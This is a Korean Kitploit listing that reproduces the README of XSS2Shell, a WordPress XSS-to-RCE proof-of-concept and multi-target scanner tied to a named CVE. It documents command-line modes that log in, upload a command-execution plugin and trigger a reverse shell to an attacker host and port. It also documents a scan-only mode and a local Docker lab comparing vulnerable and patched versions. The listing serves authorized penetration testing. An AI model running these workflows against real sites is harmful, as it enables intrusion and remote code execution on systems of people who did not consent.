Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
XSS2Shell-CVE-2026-64638 — 승인된 WordPress XSS-to-RCE 스캐너로, 동시 다중 타겟 XSS 반사(reflection) 및 버전 핑거프린트 탐지 기능과 선택적 익스플로잇 워크플로우를 제공합니다. | Kitploit
도구/GitHubGitHub/yogagymn/xss2shell-cve-2026-64638
ReconnaissanceWeb Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubyogagymn/xss2shell-cve-2026-64638

XSS2Shell-CVE-2026-64638

승인된 WordPress XSS-to-RCE 스캐너로, 동시 다중 타겟 XSS 반사(reflection) 및 버전 핑거프린트 탐지 기능과 선택적 익스플로잇 워크플로우를 제공합니다.

저장소 보기
1332개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

XSS2Shell 다중 대상 스캐너

개발자: YogaGymn

승인된 WordPress 보안 테스트를 위한 PoC/스캐닝 유틸리티입니다. 이 프로젝트는 단일 대상 익스플로잇 워크플로와 동시 다중 대상 스캔 전용 모드를 포함합니다.

중요: 이 프로젝트는 본인이 소유하거나 테스트에 대한 명시적 승인을 받은 WordPress 설치 환경에서만 사용하십시오. 다중 대상 스캐너는 의도적으로 핑거프린팅 및 XSS 반사 탐지로 제한되며, 대상 목록에 대해 자격 증명 캡처, 플러그인 업로드 또는 RCE를 수행하지 않습니다.

기능

단일 대상 모드

원본 스크립트는 다음을 지원합니다:

  • WordPress 버전 핑거프린팅.
  • XSS 반사 탐지.
  • auto, xss, direct 모드.
  • 직접 WordPress 인증 및 플러그인 업로드 워크플로.
  • 원본 PoC에 포함된 XSS 체인 기능.
  • 원본 PoC에 포함된 선택적 콜백/리버스 셸 기능.

다중 대상 모드

추가된 스캐너는 다음을 지원합니다:

  • 텍스트 파일에서 대상 읽기.
  • 중복 대상 제거.
  • ThreadPoolExecutor를 사용한 동시 스캐닝.
  • 구성 가능한 워커 수.
  • WordPress 버전 탐지.
  • XSS 반사 탐지.
  • 진행 상황 보고.
  • 입력 파일과 동일한 순서로 결과 저장.
  • 요약 통계.

다중 대상 모드는 원본 RCE 함수를 호출하지 않습니다.

요구 사항

  • Python 3.9+
  • requests

의존성 설치:

python3 -m pip install requests

Linux 배포판이 외부에서 관리되는 Python 환경을 사용하는 경우, 가상 환경을 사용하십시오:

python3 -m venv .venv
source .venv/bin/activate
pip install requests

설치

프로젝트를 복제하거나 복사합니다:

git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638

또는 간단히 다음을 배치하세요:

xss2shell.py

작업 디렉터리에 있습니다.

다중 대상 스캐너

targets.txt라는 파일을 생성하세요:

https://example1.test
https://example2.test
https://example3.test

주석과 빈 줄은 무시됩니다:

# Authorized lab targets
https://example1.test

https://example2.test

스캐너를 실행합니다:

python3 xss2shell.py -i targets.txt

기본 동시성은 워커 10개입니다.

동시성 변경

예를 들어 워커 20개를 사용하려면:

python3 xss2shell.py -i targets.txt --workers 20

작은 실험실의 경우:

python3 xss2shell.py -i targets.txt --workers 5

불필요하게 높은 워커 수를 선택하지 마십시오. 연결 부하가 증가하고 속도 제한이나 방어적 제어가 트리거될 수 있습니다.

출력 파일 변경

python3 xss2shell.py \
  -i targets.txt \
  --workers 10 \
  --output results.txt

출력 예시

[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE

[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)

=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected  : 1
Not detected  : 2
Errors        : 0
Results saved : scan_results.txt

결과 형식

기본 scan_results.txt는 탭으로 구분된 필드를 사용합니다:

TARGET  WORDPRESS_VERSION  XSS_STATUS  XSS_DETAIL

예시:

https://example1.test    6.8.2    XSS_NOT_DETECTED          ESCAPED
https://example2.test    6.7.1    XSS_REFLECTION_DETECTED   AREA_BYPASS

XSS 상태 값


상태 의미


XSS_REFLECTION_DETECTED 스캐너가 테스트한 HTML 반사 동작을 감지했습니다. 이는 그 자체로 RCE의 증거가 아닙니다.

XSS_NOT_DETECTED 테스트한 반사가 감지되지 않았습니다.

ERROR 검사 중 예외가 발생했습니다.

XSS 세부 값

스캐너는 다음과 같은 세부 정보를 보고할 수 있습니다:

  • RAW_HTML
  • AREA_BYPASS
  • ESCAPED
  • STRIPPED
  • NOT_REFLECTED

이 값들은 탐지 루틴이 관찰한 응답을 설명합니다. 결과를 확인된 취약점으로 처리하기 전에 수동으로 검증해야 합니다.

단일 대상 사용법

원본 스크립트는 단일 대상 인자도 지원합니다.

자동 모드

python3 xss2shell.py \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

직접 모드

python3 xss2shell.py \
  --mode direct \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

XSS 모드

python3 xss2shell.py \
  --mode xss \
  --lhost 192.0.2.10 \
  http://authorized-lab.test

XSS/직접 워크플로는 명령 실행 기능을 포함하는 플러그인을 생성하거나 활성화할 수 있습니다. 승인된 테스트 환경 내에서만 사용하십시오.

CLI 참조

usage: xss2shell.py [-h]
       [-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
       [--mode {auto,xss,direct}]
       [-u USERNAME] [-p PASSWORD]
       [--lhost LHOST] [--lport LPORT]
       [--slug SLUG] [--callback-port CALLBACK_PORT]
       [--no-rev]
       [target]

인수


인수 설명


target 단일 대상 URL.

-i, --input 여러 대상을 포함하는 파일.

--output 다중 대상 결과를 위한 출력 파일. 기본값: scan_results.txt.

--workers 동시 작업자 수. 기본값: 10.

--mode 원래의 단일 대상 모드: auto, xss, 또는 direct.

-u, --username 원래의 direct/fallback 워크플로를 위한 WordPress 사용자 이름.

-p, --password 원래의 direct/fallback 워크플로를 위한 WordPress 비밀번호.

--lhost 원래 PoC를 위한 콜백/리버스 셸 호스트.

--lport 리버스 셸 포트. 기본값: 4444.

--slug 플러그인 슬러그. 기본값: xss2shell.

--callback-port 콜백 서버 포트. 기본값: 9090.

--no-rev 원래 워크플로에서 리버스 셸 트리거링을 건너뜁니다.

동시 스캔 작동 방식

다중 대상 모드는 Python의 다음을 사용합니다:

ThreadPoolExecutor

각 대상은 독립적인 스캔 작업으로 제출됩니다:

targets.txt
     |
     v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ... 
+----+----+----+----+
  |    |    |    |
  v    v    v    v
 WP   WP   WP   WP
 XSS  XSS  XSS  XSS
  |    |    |    |
  +----+----+----+
        |
        v
   scan_results.txt

작업자들이 완료되는 대로 결과가 수집되며, 최종 출력은 원래의 대상 순서에 따라 작성됩니다.

범위 및 안전성

다중 대상 모드는 승인된 보안 평가 및 실험실 환경을 위해 설계되었습니다.

권장 워크플로:

  1. 서면 승인을 받습니다.
  2. 승인된 도메인/IP만 targets.txt에 넣습니다.
  3. 낮은 작업자 수로 시작합니다.
  4. 스캐너 출력을 검토합니다.
  5. 흥미로운 발견 사항을 수동으로 검증합니다.
  6. 증거와 해결 방안을 문서화합니다.

권한 없이 제3자 시스템에 대해 스캐너를 사용하지 마십시오.

제한 사항

이 스캐너는 완전한 취약점 평가 도구가 아닙니다.

특히:

  • 탐지된 HTML 반사가 자동으로 악용 가능한 XSS를 입증하는 것은 아닙니다.
  • 공개 엔드포인트에서 얻은 WordPress 버전은 누락되거나 부정확할 수 있습니다.
  • unknown은 대상이 취약하다는 의미가 아닙니다.
  • 네트워크 오류로 인해 불완전한 결과가 생성될 수 있습니다.
  • WAF/CDN 동작이 탐지에 영향을 미칠 수 있습니다.
  • 스캐너는 다중 대상 모드에서 악용 가능성이나 RCE를 입증하지 않습니다.
  • 취약점을 보고하기 전에 결과를 수동으로 검증해야 합니다.

프로젝트 구조

.
├── xss2shell.py
├── targets.txt
└── scan_results.txt

Lab CVE-2026-64638 (XSS2Shell) — 취약 버전 vs 패치 버전

CVE-2026-64638(WordPress Core 로그인 페이지의 인증 전 반사형 XSS)에 대해 레드 팀 탐지 도구를 테스트하기 위한 로컬 격리 랩입니다.

랩 구성

서비스역할로컬 포트WordPress 버전
wp-vulnerable취약 버전80816.4 (취약 범위 6.4–7.0.2에 해당)
wp-patched패치 버전8082최신 (Docker Hub에서 사용 가능해지면 7.0.3으로 고정)
adminerDB 검사기8083-

모든 포트는 127.0.0.1에만 바인딩되므로 호스트 머신 외부에서는 접근할 수 없습니다.

랩 실행

docker compose up -d
docker compose ps

MySQL이 준비될 때까지 15–30초 기다린 후 다음을 엽니다:

  • 취약한 설정: http://localhost:8081
  • 패치된 설정: http://localhost:8082

두 인스턴스 모두에서 표준 WordPress 설치 마법사(관리자 계정 생성 등)를 완료합니다.

실행 중인 버전 확인

# Check the actual WordPress version in each container
docker exec wp_lab_vulnerable wp core version --allow-root --path=/var/www/html
docker exec wp_lab_patched wp core version --allow-root --path=/var/www/html
도구 다운로드